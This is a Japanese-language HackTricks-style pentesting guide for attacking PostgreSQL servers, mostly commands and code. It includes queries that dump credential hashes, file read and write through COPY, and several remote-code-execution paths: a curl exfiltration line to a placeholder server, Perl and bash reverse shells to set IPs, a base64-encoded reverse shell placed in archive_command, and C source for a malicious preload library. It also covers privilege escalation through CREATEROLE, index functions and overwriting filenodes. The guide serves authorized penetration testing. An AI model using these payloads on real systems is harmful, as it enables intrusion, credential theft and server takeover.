# 5432,5433 - Pentesting Postgresql {{#include ../banners/hacktricks-training.md}} ## **基本情報** **PostgreSQL** は **オブジェクトリレーショナルデータベースシステム** として説明されており、**オープンソース** です。このシステムは SQL 言語を利用するだけでなく、追加機能で強化しています。その機能により、幅広いデータ型と操作を扱うことができ、開発者や組織にとって多用途な選択肢となっています。 **デフォルトポート:** 5432、もしこのポートがすでに使用されている場合、postgresql は使用されていない次のポート(おそらく 5433)を使用するようです。 ``` PORT STATE SERVICE 5432/tcp open pgsql ``` ## 接続と基本的な列挙 ```bash psql -U # Open psql console with user psql -h -U -d # Remote connection psql -h -p -U -W # Remote connection ``` ```sql psql -h localhost -d -U #Password will be prompted \list # List databases \c # use the database \d # List tables \du+ # Get users roles # Get current user SELECT user; # Get current database SELECT current_catalog; # List schemas SELECT schema_name,schema_owner FROM information_schema.schemata; \dn+ #List databases SELECT datname FROM pg_database; #Read credentials (usernames + pwd hash) SELECT usename, passwd from pg_shadow; # Get languages SELECT lanname,lanacl FROM pg_language; # Show installed extensions SHOW rds.extensions; SELECT * FROM pg_extension; # Get history of commands executed \s ``` > [!WARNING] > **`\list`** を実行して **`rdsadmin`** というデータベースが見つかった場合、あなたは **AWS postgresql database** 内にいることがわかります。 **PostgreSQLデータベースを悪用する方法**についての詳細は、以下を確認してください: {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/ {{#endref}} ## 自動列挙 ``` msf> use auxiliary/scanner/postgres/postgres_version msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection ``` ### [**ブルートフォース**](../generic-hacking/brute-force.md#postgresql) ### **ポートスキャン** [**この研究**](https://www.exploit-db.com/papers/13084)によると、接続試行が失敗すると、`dblink`はエラーの説明を含む`sqlclient_unable_to_establish_sqlconnection`例外をスローします。これらの詳細の例は以下に示されています。 ```sql SELECT * FROM dblink_connect('host=1.2.3.4 port=5678 user=name password=secret dbname=abc connect_timeout=10'); ``` - ホストがダウンしています `DETAIL: サーバーに接続できませんでした: ホストへのルートがありません "1.2.3.4" でサーバーが実行中で、ポート 5678 で TCP/IP 接続を受け入れていますか?` - ポートが閉じています ``` DETAIL: could not connect to server: Connection refused Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` - ポートが開いています ``` DETAIL: server closed the connection unexpectedly This probably means the server terminated abnormally before or while processing the request ``` or ``` DETAIL: FATAL: password authentication failed for user "name" ``` - ポートはオープンまたはフィルタリングされています ``` DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` In PL/pgSQL関数では、現在例外の詳細を取得することはできません。ただし、PostgreSQLサーバーに直接アクセスできる場合は、必要な情報を取得できます。システムテーブルからユーザー名とパスワードを抽出することが不可能な場合は、前のセクションで説明したワードリスト攻撃手法を利用することを検討してください。これは、ポジティブな結果をもたらす可能性があります。 ## 権限の列挙 ### ロール | ロールタイプ | | | -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | | rolsuper | ロールはスーパーユーザー権限を持っています | | rolinherit | ロールは自動的にそのメンバーであるロールの権限を継承します | | rolcreaterole | ロールは他のロールを作成できます | | rolcreatedb | ロールはデータベースを作成できます | | rolcanlogin | ロールはログインできます。つまり、このロールは初期セッションの認証識別子として指定できます | | rolreplication | ロールはレプリケーションロールです。レプリケーションロールはレプリケーション接続を開始し、レプリケーションスロットを作成および削除できます。 | | rolconnlimit | ログインできるロールに対して、このロールが作成できる同時接続の最大数を設定します。-1は制限なしを意味します。 | | rolpassword | パスワードではありません(常に`********`として読み取られます) | | rolvaliduntil | パスワードの有効期限(パスワード認証にのみ使用されます);有効期限がない場合はnull | | rolbypassrls | ロールはすべての行レベルセキュリティポリシーをバイパスします。詳細については[セクション5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)を参照してください。 | | rolconfig | 実行時設定変数のロール固有のデフォルト | | oid | ロールのID | #### 興味深いグループ - **`pg_execute_server_program`**のメンバーであれば、プログラムを**実行**できます - **`pg_read_server_files`**のメンバーであれば、ファイルを**読み取る**ことができます - **`pg_write_server_files`**のメンバーであれば、ファイルを**書き込む**ことができます > [!TIP] > Postgresでは、**ユーザー**、**グループ**、および**ロール**は**同じ**であることに注意してください。これは**どのように使用するか**と、**ログインを許可するか**に依存します。 ```sql # Get users roles \du #Get users roles & groups # r.rolpassword # r.rolconfig, SELECT r.rolname, r.rolsuper, r.rolinherit, r.rolcreaterole, r.rolcreatedb, r.rolcanlogin, r.rolbypassrls, r.rolconnlimit, r.rolvaliduntil, r.oid, ARRAY(SELECT b.rolname FROM pg_catalog.pg_auth_members m JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid) WHERE m.member = r.oid) as memberof , r.rolreplication FROM pg_catalog.pg_roles r ORDER BY 1; # Check if current user is superiser ## If response is "on" then true, if "off" then false SELECT current_setting('is_superuser'); # Try to grant access to groups ## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section) GRANT pg_execute_server_program TO "username"; GRANT pg_read_server_files TO "username"; GRANT pg_write_server_files TO "username"; ## You will probably get this error: ## Cannot GRANT on the "pg_write_server_files" role without being a member of the role. # Create new role (user) as member of a role (group) CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files; ## Common error ## Cannot GRANT on the "pg_read_server_files" role without being a member of the role. ``` ### テーブル ```sql # Get owners of tables select schemaname,tablename,tableowner from pg_tables; ## Get tables where user is owner select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres'; # Get your permissions over tables SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants; #Check users privileges over a table (pg_shadow on this example) ## If nothing, you don't have any permission SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow'; ``` ### 関数 ```sql # Interesting functions are inside pg_catalog \df * #Get all \df *pg_ls* #Get by substring \df+ pg_read_binary_file #Check who has access # Get all functions of a schema \df pg_catalog.* # Get all functions of a schema (pg_catalog in this case) SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position FROM information_schema.routines LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name WHERE routines.specific_schema='pg_catalog' ORDER BY routines.routine_name, parameters.ordinal_position; # Another aparent option SELECT * FROM pg_proc; ``` ## ファイルシステムアクション ### ディレクトリとファイルの読み取り この[**コミット**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)から、定義された**`DEFAULT_ROLE_READ_SERVER_FILES`**グループ(**`pg_read_server_files`**と呼ばれる)および**スーパーユーザー**は、任意のパスで**`COPY`**メソッドを使用できます(`genfile.c`の`convert_and_check_filename`を確認してください): ```sql # Read file CREATE TABLE demo(t text); COPY demo from '/etc/passwd'; SELECT * FROM demo; ``` > [!WARNING] > あなたがスーパーユーザーでなくても、**CREATEROLE**権限を持っている場合は、そのグループのメンバーになることができます: > > ```sql > GRANT pg_read_server_files TO username; > ``` > > [**詳細情報。**](pentesting-postgresql.md#privilege-escalation-with-createrole) 他にも**postgres関数**があり、**ファイルを読み取ったりディレクトリをリストしたり**することができます。これらは**スーパーユーザー**と**明示的な権限を持つユーザー**のみが使用できます: ```sql # Before executing these function go to the postgres DB (not in the template1) \c postgres ## If you don't do this, you might get "permission denied" error even if you have permission select * from pg_ls_dir('/tmp'); select * from pg_read_file('/etc/passwd', 0, 1000000); select * from pg_read_binary_file('/etc/passwd'); # Check who has permissions \df+ pg_ls_dir \df+ pg_read_file \df+ pg_read_binary_file # Try to grant permissions GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username; # By default you can only access files in the datadirectory SHOW data_directory; # But if you are a member of the group pg_read_server_files # You can access any file, anywhere GRANT pg_read_server_files TO username; # Check CREATEROLE privilege escalation ``` より多くの**関数**は[https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)で見つけることができます。 ### シンプルなファイル書き込み **スーパーユーザー**と**`pg_write_server_files`**のメンバーのみが、コピーを使用してファイルを書き込むことができます。 ```sql copy (select convert_from(decode('','base64'),'utf-8')) to '/just/a/path.exec'; ``` > [!WARNING] > **`CREATEROLE`** 権限を持っているがスーパーユーザーでない場合、**そのグループのメンバーになることができます:** > > ```sql > GRANT pg_write_server_files TO username; > ``` > > [**詳細情報。**](pentesting-postgresql.md#privilege-escalation-with-createrole) COPY は改行文字を処理できないため、base64 ペイロードを使用している場合でも、**1 行で送信する必要があります**。\ この技術の非常に重要な制限は、**`copy` はバイナリファイルを書き込むために使用できないことです。バイナリ値の一部を変更するためです。** ### **バイナリファイルのアップロード** ただし、**大きなバイナリファイルをアップロードするための他の技術があります:** {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md {{#endref}} ### ローカルファイル書き込みを介した PostgreSQL テーブルデータの更新 PostgreSQL サーバーファイルを読み書きするための必要な権限がある場合、[PostgreSQL データディレクトリ](https://www.postgresql.org/docs/8.1/storage.html)内の関連ファイルノードを**上書きすることによって、サーバー上の任意のテーブルを更新できます。** **この技術の詳細** [**こちら**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users)。 必要な手順: 1. PostgreSQL データディレクトリを取得する ```sql SELECT setting FROM pg_settings WHERE name = 'data_directory'; ``` **注意:** 設定から現在のデータディレクトリパスを取得できない場合、`SELECT version()` クエリを通じて主要な PostgreSQL バージョンを照会し、パスをブルートフォースすることを試みることができます。Unix インストールの PostgreSQL の一般的なデータディレクトリパスは `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/` です。一般的なクラスター名は `main` です。 2. 対象テーブルに関連付けられたファイルノードへの相対パスを取得する ```sql SELECT pg_relation_filepath('{TABLE_NAME}') ``` このクエリは `base/3/1337` のようなものを返すべきです。ディスク上のフルパスは `$DATA_DIRECTORY/base/3/1337` すなわち `/var/lib/postgresql/13/main/base/3/1337` です。 3. `lo_*` 関数を通じてファイルノードをダウンロードする ```sql SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337) ``` 4. 対象テーブルに関連付けられたデータ型を取得する ```sql SELECT STRING_AGG( CONCAT_WS( ',', attname, typname, attlen, attalign ), ';' ) FROM pg_attribute JOIN pg_type ON pg_attribute.atttypid = pg_type.oid JOIN pg_class ON pg_attribute.attrelid = pg_class.oid WHERE pg_class.relname = '{TABLE_NAME}'; ``` 5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor)を使用して[ファイルノードを編集](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); すべての `rol*` ブールフラグを 1 に設定してフル権限を付与します。 ```bash python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA} ``` ![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif) 6. 編集したファイルノードを `lo_*` 関数を介して再アップロードし、ディスク上の元のファイルを上書きします。 ```sql SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64')) SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}') ``` 7. _(オプション)_ 高コストの SQL クエリを実行してメモリ内のテーブルキャッシュをクリアします。 ```sql SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea) ``` 8. これで PostgreSQL に更新されたテーブル値が表示されるはずです。 `pg_authid` テーブルを編集することでスーパーユーザーになることもできます。**次のセクションを参照してください** [**以下のセクション**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables)。 ## RCE ### **プログラムへの RCE** [バージョン 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html)以降、**スーパーユーザー**およびグループ **`pg_execute_server_program`** のメンバーのみが RCE のために copy を使用できます (例: 外部流出): ```sql '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- - ``` 例を実行する: ```bash #PoC DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; DROP TABLE IF EXISTS cmd_exec; #Reverse shell #Notice that in order to scape a single quote you need to put 2 single quotes COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'''; ``` > [!WARNING] > あなたがスーパーユーザーでなくても、**`CREATEROLE`** 権限を持っている場合は、そのグループのメンバーになることができます: > > ```sql > GRANT pg_execute_server_program TO username; > ``` > > [**詳細情報。**](pentesting-postgresql.md#privilege-escalation-with-createrole) または、**metasploit** の `multi/postgres/postgres_copy_from_program_cmd_exec` モジュールを使用します。\ この脆弱性に関する詳細情報は [**こちら**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5) を参照してください。CVE-2019-9193として報告されましたが、Postgesはこれが[機能であり、修正されない](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/)と宣言しました。 ### PostgreSQL言語によるRCE {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md {{#endref}} ### PostgreSQL拡張によるRCE 前の投稿から**バイナリファイルをアップロードする方法**を**学んだ**後、**PostgreSQL拡張をアップロードして読み込むことでRCEを取得する**ことを試みることができます。 {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md {{#endref}} ### PostgreSQL設定ファイルによるRCE > [!TIP] > 次のRCEベクターは、すべてのステップがネストされたSELECT文を通じて実行できるため、制約のあるSQLiコンテキストで特に便利です。 PostgreSQLの**設定ファイル**は、データベースを実行している**postgresユーザー**によって**書き込み可能**です。したがって、**スーパーユーザー**として、ファイルシステムにファイルを書き込むことができ、このファイルを**上書き**することができます。 ![](<../images/image (322).png>) #### **ssl_passphrase_commandによるRCE** この技術に関する詳細情報は[こちら](https://pulsesecurity.co.nz/articles/postgres-sqli)を参照してください。 設定ファイルには、RCEにつながるいくつかの興味深い属性があります: - `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` データベースのプライベートキーへのパス - `ssl_passphrase_command = ''` プライベートファイルがパスワードで保護されている場合(暗号化されている)、PostgreSQLはこの属性に指定された**コマンドを実行します**。 - `ssl_passphrase_command_supports_reload = off` この属性が**オン**の場合、パスワードで保護されたキーがあるときに実行される**コマンド**は、`pg_reload_conf()`が**実行されるときに実行されます**。 そのため、攻撃者は次のことを行う必要があります: 1. サーバーから**プライベートキーをダンプ**する 2. ダウンロードしたプライベートキーを**暗号化**する: 1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key` 3. **上書き** 4. 現在のPostgreSQLの**設定をダンプ**する 5. 言及された属性設定で**設定を上書き**する: 1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'` 2. `ssl_passphrase_command_supports_reload = on` 6. `pg_reload_conf()`を実行する これをテストしていると、**プライベートキーファイルの権限が640である場合**にのみ機能することに気付きました。これは**rootによって所有され**、**ssl-certまたはpostgresグループによって所有されている**(したがって、postgresユーザーが読み取れる)必要があり、_ /var/lib/postgresql/12/main_ に配置されている必要があります。 #### **archive_commandによるRCE** **この設定とWALに関する** [**詳細情報**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**。** 設定ファイルの中で、悪用可能な別の属性は`archive_command`です。 これが機能するためには、`archive_mode`設定が`'on'`または`'always'`である必要があります。それが真であれば、`archive_command`のコマンドを上書きし、WAL(書き込み先行ログ)操作を介して実行させることができます。 一般的な手順は次のとおりです: 1. アーカイブモードが有効かどうかを確認する: `SELECT current_setting('archive_mode')` 2. ペイロードで`archive_command`を上書きする。例えば、リバースシェル: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'` 3. 設定をリロードする: `SELECT pg_reload_conf()` 4. WAL操作を強制的に実行し、アーカイブコマンドを呼び出す: `SELECT pg_switch_wal()` または一部のPostgresバージョンでは `SELECT pg_switch_xlog()` #### **プリロードライブラリによるRCE** この技術に関する詳細情報は[こちら](https://adeadfed.com/posts/postgresql-select-only-rce/)を参照してください。 この攻撃ベクターは、次の設定変数を利用します: - `session_preload_libraries` -- クライアント接続時にPostgreSQLサーバーによってロードされるライブラリ。 - `dynamic_library_path` -- PostgreSQLサーバーがライブラリを検索するディレクトリのリスト。 `dynamic_library_path`の値を、データベースを実行している`postgres`ユーザーによって書き込み可能なディレクトリ、例えば`/tmp/`ディレクトリに設定し、そこに悪意のある`.so`オブジェクトをアップロードします。次に、`session_preload_libraries`変数に新しくアップロードしたライブラリを含めることで、PostgreSQLサーバーにそれをロードさせます。 攻撃手順は次のとおりです: 1. 元の`postgresql.conf`をダウンロードする 2. `/tmp/`ディレクトリを`dynamic_library_path`の値に含める。例えば、`dynamic_library_path = '/tmp:$libdir'` 3. 悪意のあるライブラリ名を`session_preload_libraries`の値に含める。例えば、`session_preload_libraries = 'payload.so'` 4. `SELECT version()`クエリを介して主要なPostgreSQLバージョンを確認する 5. 正しいPostgreSQL開発パッケージで悪意のあるライブラリコードをコンパイルする サンプルコード: ```c #include #include #include #include #include #include #include #include "postgres.h" #include "fmgr.h" #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif void _init() { /* code taken from https://www.revshells.com/ */ int port = REVSHELL_PORT; struct sockaddr_in revsockaddr; int sockt = socket(AF_INET, SOCK_STREAM, 0); revsockaddr.sin_family = AF_INET; revsockaddr.sin_port = htons(port); revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP"); connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr)); dup2(sockt, 0); dup2(sockt, 1); dup2(sockt, 2); char * const argv[] = {"/bin/bash", NULL}; execve("/bin/bash", argv, NULL); } ``` コードをコンパイルする: ```bash gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c ``` 6. ステップ2-3で作成した悪意のある`postgresql.conf`をアップロードし、元のものを上書きする 7. ステップ5の`payload.so`を`/tmp`ディレクトリにアップロードする 8. サーバーを再起動するか、`SELECT pg_reload_conf()`クエリを呼び出してサーバー設定をリロードする 9. 次のDB接続時に、リバースシェル接続を受け取ります。 ## **Postgres Privesc** ### CREATEROLE Privesc #### **Grant** [**ドキュメント**](https://www.postgresql.org/docs/13/sql-grant.html)によると: _**`CREATEROLE`** 権限を持つロールは、**スーパーユーザー**でない任意のロールへのメンバーシップを**付与または取り消す**ことができます。_ したがって、**`CREATEROLE`** 権限を持っている場合は、他の**ロール**(スーパーユーザーでない)へのアクセスを付与することができ、ファイルの読み書きやコマンドの実行のオプションを得ることができます: ```sql # Access to execute commands GRANT pg_execute_server_program TO username; # Access to read files GRANT pg_read_server_files TO username; # Access to write files GRANT pg_write_server_files TO username; ``` #### Modify Password この役割を持つユーザーは、他の**非スーパーユーザー**の**パスワード**を**変更**することもできます: ```sql #Change password ALTER USER user_name WITH PASSWORD 'new_password'; ``` #### Privesc to SUPERUSER **ローカルユーザーがパスワードを提供せずにPostgreSQLにログインできることが非常に一般的です**。したがって、**コードを実行する権限を取得したら**、これらの権限を悪用して**`SUPERUSER`**ロールを付与できます: ```sql COPY (select '') to PROGRAM 'psql -U -c "ALTER USER WITH SUPERUSER;"'; ``` > [!TIP] > これは通常、**`pg_hba.conf`**ファイルの以下の行のおかげで可能です: > > ```bash > # "local"はUnixドメインソケット接続専用です > local all all trust > # IPv4ローカル接続: > host all all 127.0.0.1/32 trust > # IPv6ローカル接続: > host all all ::1/128 trust > ``` ### **ALTER TABLE privesc** [**この書き込み**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)では、ALTER TABLE権限をユーザーに付与することでPostgres GCPで**privesc**が可能だった方法が説明されています。 **別のユーザーをテーブルの所有者にする**ことを試みると、**エラー**が発生してそれを防ぐはずですが、どうやらGCPはその**オプションを非スーパーユーザーのpostgresユーザーに与えた**ようです:
この考えを、**INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html)コマンドが**インデックス関数を持つテーブル**で実行されるとき、**関数**が**テーブル**の**所有者の権限**でコマンドの一部として**呼び出される**という事実と結びつけると、関数を使ってインデックスを作成し、そのテーブルに対して**スーパーユーザー**に所有者権限を与え、その後悪意のある関数を使ってテーブルに対してANALYZEを実行することが可能になります。これは所有者の権限を使用してコマンドを実行できるからです。 ```c GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, save_sec_context | SECURITY_RESTRICTED_OPERATION); ``` #### エクスプロイト 1. 新しいテーブルを作成します。 2. インデックス関数にデータを提供するために、テーブルにいくつかの無関係なコンテンツを挿入します。 3. コード実行ペイロードを含む悪意のあるインデックス関数を開発し、無許可のコマンドを実行できるようにします。 4. テーブルの所有者を「cloudsqladmin」にALTERします。これは、Cloud SQLがデータベースを管理および維持するために専用に使用するGCPのスーパーユーザーロールです。 5. テーブルにANALYZE操作を実行します。このアクションにより、PostgreSQLエンジンはテーブルの所有者「cloudsqladmin」のユーザーコンテキストに切り替わります。その結果、悪意のあるインデックス関数が「cloudsqladmin」の権限で呼び出され、以前は無許可だったシェルコマンドの実行が可能になります。 PostgreSQLでは、このフローは次のようになります: ```sql CREATE TABLE temp_table (data text); CREATE TABLE shell_commands_results (data text); INSERT INTO temp_table VALUES ('dummy content'); /* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */ CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text LANGUAGE sql IMMUTABLE AS 'select ''nothing'';'; CREATE INDEX index_malicious ON public.temp_table (suid_function(data)); ALTER TABLE temp_table OWNER TO cloudsqladmin; /* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */ CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';'; ANALYZE public.temp_table; ``` その後、`shell_commands_results` テーブルには実行されたコードの出力が含まれます: ``` uid=2345(postgres) gid=2345(postgres) groups=2345(postgres) ``` ### ローカルログイン 一部の設定ミスがあるpostgresqlインスタンスでは、任意のローカルユーザーのログインが許可される場合があります。**`dblink`関数**を使用して127.0.0.1からローカルにログインすることが可能です。 ```sql \du * # Get Users \l # Get databases SELECT * FROM dblink('host=127.0.0.1 port=5432 user=someuser password=supersecret dbname=somedb', 'SELECT usename,passwd from pg_shadow') RETURNS (result TEXT); ``` > [!WARNING] > 注意してください、前のクエリが機能するためには**`dblink`関数が存在する必要があります**。存在しない場合は、次のように作成を試みることができます。 > > ```sql > CREATE EXTENSION dblink; > ``` もし、より多くの権限を持つユーザーのパスワードを持っているが、そのユーザーが外部IPからのログインを許可されていない場合、次の関数を使用してそのユーザーとしてクエリを実行できます: ```sql SELECT * FROM dblink('host=127.0.0.1 user=someuser dbname=somedb', 'SELECT usename,passwd from pg_shadow') RETURNS (result TEXT); ``` この関数が存在するかどうかを確認するには、次のようにします: ```sql SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2; ``` ### **SECURITY DEFINERを持つカスタム定義関数** [**この書き込みで**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql)、ペンテスターはIBMが提供するPostgresインスタンス内で権限昇格を行うことができました。なぜなら、彼らは**SECURITY DEFINERフラグを持つこの関数を見つけたからです**:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
[**ドキュメントで説明されているように**](https://www.postgresql.org/docs/current/sql-createfunction.html)、**SECURITY DEFINERを持つ関数は**、**それを所有するユーザーの権限で実行されます**。したがって、関数が**SQLインジェクションに対して脆弱である**か、**攻撃者によって制御されるパラメータで特権的なアクションを行っている**場合、それを悪用して**Postgres内で権限を昇格させる**ことができます。 前のコードの4行目に、関数が**SECURITY DEFINER**フラグを持っていることがわかります。 ```sql CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user); ``` そして**コマンドを実行**します:
### PL/pgSQLによるパスブルートフォース **PL/pgSQL**は、SQLに比べてより高度な手続き制御を提供する**完全なプログラミング言語**です。これにより、プログラムロジックを強化するために**ループ**やその他の**制御構造**を使用できます。さらに、**SQL文**や**トリガー**は、**PL/pgSQL言語**を使用して作成された関数を呼び出すことができます。この統合により、データベースプログラミングと自動化に対するより包括的で多様なアプローチが可能になります。\ **この言語を悪用して、PostgreSQLにユーザーの資格情報をブルートフォースさせることができます。** {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md {{#endref}} ### 内部PostgreSQLテーブルの上書きによる特権昇格 > [!TIP] > 次の特権昇格ベクターは、すべてのステップがネストされたSELECT文を通じて実行できるため、制約のあるSQLiコンテキストで特に便利です。 **PostgreSQLサーバーファイルを読み書きできる**場合、内部の`pg_authid`テーブルに関連付けられたPostgreSQLのディスク上のファイルノードを上書きすることで**スーパーユーザー**になることができます。 **この技術**についての詳細は[**こちら**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**を参照してください。** 攻撃手順は次のとおりです: 1. PostgreSQLデータディレクトリを取得する 2. `pg_authid`テーブルに関連付けられたファイルノードへの相対パスを取得する 3. `lo_*`関数を通じてファイルノードをダウンロードする 4. `pg_authid`テーブルに関連付けられたデータ型を取得する 5. [PostgreSQLファイルノードエディタ](https://github.com/adeadfed/postgresql-filenode-editor)を使用して[ファイルノードを編集](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table)し、すべての`rol*`ブールフラグを1に設定して完全な権限を付与します。 6. `lo_*`関数を介して編集したファイルノードを再アップロードし、ディスク上の元のファイルを上書きします。 7. _(オプション)_ 高コストのSQLクエリを実行してメモリ内のテーブルキャッシュをクリアします。 8. これで、フルスーパーメンバーの権限を持つことになります。 ## **POST** ``` msf> use auxiliary/scanner/postgres/postgres_hashdump msf> use auxiliary/scanner/postgres/postgres_schemadump msf> use auxiliary/admin/postgres/postgres_readfile msf> use exploit/linux/postgres/postgres_payload msf> use exploit/windows/postgres/postgres_payload ``` ### logging _**postgresql.conf**_ ファイル内で、次のように変更することで postgresql ログを有効にできます: ```bash log_statement = 'all' log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log' logging_collector = on sudo service postgresql restart #Find the logs in /var/lib/postgresql//main/log/ #or in /var/lib/postgresql//main/pg_log/ ``` その後、**サービスを再起動**します。 ### pgadmin [pgadmin](https://www.pgadmin.org) はPostgreSQLの管理および開発プラットフォームです。\ **パスワード**は _**pgadmin4.db**_ ファイル内にあります。\ スクリプト内の _**decrypt**_ 関数を使用してそれらを復号化できます: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) ```bash sqlite3 pgadmin4.db ".schema" sqlite3 pgadmin4.db "select * from user;" sqlite3 pgadmin4.db "select * from server;" string pgadmin4.db ``` ### pg_hba PostgreSQLにおけるクライアント認証は、**pg_hba.conf**という設定ファイルを通じて管理されます。このファイルには、一連のレコードが含まれており、それぞれが接続タイプ、クライアントIPアドレス範囲(該当する場合)、データベース名、ユーザー名、および接続を一致させるために使用する認証方法を指定しています。接続タイプ、クライアントアドレス、要求されたデータベース、およびユーザー名に一致する最初のレコードが認証に使用されます。認証が失敗した場合のフォールバックやバックアップはありません。一致するレコードがない場合、アクセスは拒否されます。 pg_hba.confで利用可能なパスワードベースの認証方法は、**md5**、**crypt**、および**password**です。これらの方法は、パスワードの送信方法が異なります:MD5ハッシュ、crypt暗号化、または平文です。cryptメソッドは、pg_authidで暗号化されたパスワードと一緒に使用できないことに注意することが重要です。 {{#include ../banners/hacktricks-training.md}}